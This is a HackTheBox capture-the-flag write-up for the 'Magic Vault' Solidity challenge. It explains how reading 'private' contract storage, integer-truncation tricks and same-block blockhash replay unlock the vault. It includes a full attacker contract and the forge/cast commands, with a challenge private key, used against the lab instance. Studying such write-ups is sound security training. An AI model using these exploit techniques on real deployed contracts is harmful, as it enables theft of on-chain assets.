Magic Vault
hackthebox
Task: Unlock a Solidity vault with contradictory require() conditions and claim content. Solution: Read private passphrase from storage, exploit uint128/uint64 truncation bypass, replicate blockhash-based randomness in attacker contract for atomic unlock.
$ ls tags/ techniques/
Magic Vault — HackTheBox
Description
Alex walked through the monster's dorm, her sword drawn. As she explored, she found a small room hidden behind a heavy curtain. Inside, she saw a small, dark chamber with a single chest in the center. It was the magic vault she had heard rumors of, containing powerful magical artifacts. Excited, Alex approached the chest and touched it, feeling the pulsing energy that radiated from it. But as she tried to open it, she realized it was locked tight by powerful magic. Frustrated, she set out to find the key that would unlock it.
Goal: Call claimContent() so that mapHolder() returns an address different from address(TARGET). To do this, you first need to unlock the vault via unlock() with the correct password.
Analysis
Contracts
Setup.sol — standard setup, deploys Vault. Checks solution: isSolved() returns true when TARGET.mapHolder() != address(TARGET).
Vault.sol — main contract with multi-level locking system:
contract Vault { struct Map { address holder; } Map map; address public owner; bytes32 private passphrase; uint256 public nonce; bool public isUnlocked; constructor() { owner = msg.sender; passphrase = bytes32(keccak256(abi.encodePacked(uint256(blockhash(block.timestamp))))); map = Map(address(this)); } function unlock(bytes16 _password) public { uint128 _secretKey = uint128(bytes16(_magicPassword()) >> 64); uint128 _input = uint128(_password); require(_input != _secretKey, "Case 1 failed"); require(uint64(_input) == _secretKey, "Case 2 failed"); require(uint64(bytes8(_password)) == uint64(uint160(owner)), "Case 3 failed"); isUnlocked = true; } function claimContent() public { require(isUnlocked); map.holder = msg.sender; } function _generateKey(uint256 _reductor) private returns (uint256 ret) { ret = uint256(keccak256(abi.encodePacked(uint256(blockhash(block.number - _reductor)) + nonce))); nonce++; } function _magicPassword() private returns (bytes8) { uint256 _key1 = _generateKey(block.timestamp % 2 + 1); uint128 _key2 = uint128(_generateKey(2)); bytes8 _secret = bytes8(bytes16(uint128( uint128(bytes16(bytes32(uint256(uint256(passphrase) ^ _key1)))) ^ _key2 ))); return (_secret >> 32 | _secret << 16); } }
Key Observations
1. Storage Layout — private Doesn't Mean Secret
The passphrase variable is declared as private, but everything is public on the blockchain. Contract storage layout:
| Slot | Variable | Type |
|---|---|---|
| 0 | map.holder | address (struct Map) |
| 1 | owner | address |
| 2 | passphrase | bytes32 |
| 3 | nonce | uint256 |
| 4 | isUnlocked | bool |
Read passphrase via cast storage <vault_addr> 2.
2. Three unlock() Requirements — Seem Contradictory but Solvable
Input parameter: bytes16 _password (16 bytes = 128 bits).
_secretKey is computed from _magicPassword():
_magicPassword()returnsbytes8(8 bytes = 64 bits)bytes16(bytes8_value)— pads with zeros on the right:[magic_pwd | 00000000]>> 64— shifts right by 64 bits:[00000000 | magic_pwd]uint128(...)— result: upper 64 bits = 0, lower 64 bits = magic_pwd
So _secretKey = [0000000000000000 | magic_password_64bit].
Req 1: uint128(_input) != _secretKey — full 128 bits of password must NOT equal secretKey.
Req 2: uint64(_input) == _secretKey — lower 64 bits of password MUST equal secretKey. Since _secretKey fits in 64 bits (upper zeros), uint64(_secretKey) = magic_password.
Req 3: uint64(bytes8(_password)) == uint64(uint160(owner)) — upper 8 bytes of password must equal lower 8 bytes of owner address.
Solution: Password = [owner_low_64bit | magic_password_64bit]. Req 1 is satisfied because upper 64 bits are non-zero (owner address), while secretKey has zero upper 64 bits. Req 2 is satisfied because lower 64 bits match. Req 3 is satisfied by construction.
3. _magicPassword() Depends on Block Context
The function uses blockhash(block.number - reductor) and block.timestamp. These values are the same for all calls within the same block. This means if we call unlock() from an attacker contract that replicates the _magicPassword() logic in the same transaction, we get the same result.
4. passphrase Must Be Read in Advance
passphrase is set in the constructor and used in _magicPassword(). This is the only value that cannot be computed at runtime — it must be read from storage.
Solution
Step 1: Get Connection Info
curl http://154.57.164.78:31875/connection_info
Received:
- Private Key:
0x6f74a219d35c58e66370c0cf1f059d6d99d96dfe3c8a8e565c883439188a13db - User Address:
0xD4d6Fa156756926e93F510eF52D4a69275f35899 - Target (Vault):
0xDD23fa518a6e074AE49DCf0F2A0034Ba7bF43Ce3 - Setup:
0x5a329D6840648EB1DD1E61A5c2909bAd7aA57613
Step 2: Read Private Storage
# Slot 2 = passphrase (private, but readable!) cast storage 0xDD23fa518a6e074AE49DCf0F2A0034Ba7bF43Ce3 2 --rpc-url http://154.57.164.78:31875/rpc # 0x290decd9548b62a8d60345a988386fc84ba6bc95484008f6362f93160ef3e563
Step 3: Deploy Attacker Contract
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.13; interface IVault { function unlock(bytes16 _password) external; function claimContent() external; function owner() external view returns (address); function nonce() external view returns (uint256); } contract Attack { function attack(address _vault, bytes32 _passphrase) external { IVault vault = IVault(_vault); address vaultOwner = vault.owner(); uint256 currentNonce = vault.nonce(); // Replicate _generateKey(block.timestamp % 2 + 1) uint256 reductor1 = block.timestamp % 2 + 1; uint256 key1 = uint256(keccak256(abi.encodePacked( uint256(blockhash(block.number - reductor1)) + currentNonce ))); currentNonce++; // Replicate _generateKey(2) uint128 key2 = uint128(uint256(keccak256(abi.encodePacked( uint256(blockhash(block.number - 2)) + currentNonce )))); // Replicate _magicPassword() bytes8 secret = bytes8(bytes16(uint128( uint128(bytes16(bytes32(uint256(uint256(_passphrase) ^ key1)))) ^ key2 ))); bytes8 magicPwd = (secret >> 32 | secret << 16); // _secretKey = uint128(bytes16(magicPwd) >> 64) uint128 secretKey = uint128(bytes16(magicPwd) >> 64); // Construct password: [owner_low_64 | secretKey_low_64] uint64 ownerLow = uint64(uint160(vaultOwner)); uint64 secretKeyLow = uint64(secretKey); bytes16 password = bytes16(uint128( uint128(ownerLow) << 64 | uint128(secretKeyLow) )); // Atomic: unlock + claimContent vault.unlock(password); vault.claimContent(); } }
Why this works:
- The contract executes in the same transaction →
block.number,block.timestamp,blockhash()are identical nonceis read before callingunlock()→ value is currentpassphraseis passed as parameter (read from storage beforehand)unlock()andclaimContent()are called atomically — if unlock fails, the entire transaction reverts
Step 4: Deploy and Execute
# Deploy attacker contract forge create src/Attack.sol:Attack \ --rpc-url http://154.57.164.78:31875/rpc \ --private-key 0x6f74a219d35c58e66370c0cf1f059d6d99d96dfe3c8a8e565c883439188a13db # Execute attack cast send <ATTACK_CONTRACT_ADDRESS> \ "attack(address,bytes32)" \ 0xDD23fa518a6e074AE49DCf0F2A0034Ba7bF43Ce3 \ 0x290decd9548b62a8d60345a988386fc84ba6bc95484008f6362f93160ef3e563 \ --rpc-url http://154.57.164.78:31875/rpc \ --private-key 0x6f74a219d35c58e66370c0cf1f059d6d99d96dfe3c8a8e565c883439188a13db
Step 5: Verify and Get Flag
# Check isSolved() cast call 0x5a329D6840648EB1DD1E61A5c2909bAd7aA57613 "isSolved()" \ --rpc-url http://154.57.164.78:31875/rpc # 0x0000000000000000000000000000000000000000000000000000000000000001 (true!) # Get flag curl http://154.57.164.78:31875/flag
Key Indicators
Use this technique when:
- Contract stores "secret" data in
privatevariables — they are always readable viaeth_getStorageAt/cast storage - Function uses
blockhash()orblock.timestampfor generating "random" values — predictable from the same block require()conditions seem contradictory (both!=and==simultaneously) — look for bit-width differences in types (uint128 vs uint64)- Contract has multi-step unlock: first
unlock(), then action — can be combined into one atomic transaction via attacker contract - Complex type casting chains (
bytes32→uint256→uint128→bytes16→bytes8) — carefully track truncation and byte order
Concepts
Solidity Type Casting: bytes vs uint
In Solidity, bytes and uint have opposite alignment:
bytesN— left-aligned (big-endian, most significant bytes on the left)uintN— right-aligned (least significant bytes on the right)
bytes8(0xAABBCCDDEEFF0011) → [AA BB CC DD EE FF 00 11 __ __ __ __ __ __ __ __]
← bytes16 padding with zeros on the right
uint128(0xAABBCCDDEEFF0011) → [__ __ __ __ __ __ __ __ AA BB CC DD EE FF 00 11]
← uint128 padding with zeros on the left
This is critical when converting bytes8 → bytes16 → uint128 → shift → uint64.
Integer Truncation Bypass
When uint128(x) != y but uint64(x) == y:
yfits in 64 bits (upper 64 bits = 0)xhas non-zero upper 64 bits- Lower 64 bits of
xmatchy
This is a classic pattern for bypassing "contradictory" checks through bit-width differences.
Blockhash Replication
blockhash(block.number - N) is deterministic within the same block. An attacker contract called in the same transaction sees the same block.number, block.timestamp, and blockhash() values. This makes any "randomness" based on block data completely predictable.
Atomic Transaction Exploit
Deploying an attacker contract allows:
- Reading current state (owner, nonce)
- Replicating internal logic with the same block parameters
- Calling multiple functions atomically (unlock + claimContent)
- Guaranteeing that if any step fails — the entire transaction reverts (no partial state)
$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar
Similar writeups
- [blockchain][free]False Bidding— hackthebox
- [blockchain][free]Honor Among Thieves— hackthebox
- [blockchain][free]Token to Wonderland— hackthebox
- [blockchain][free]Locked and Loaded— hackthebox
- [blockchain][free]Portal Noncense— HackTheBox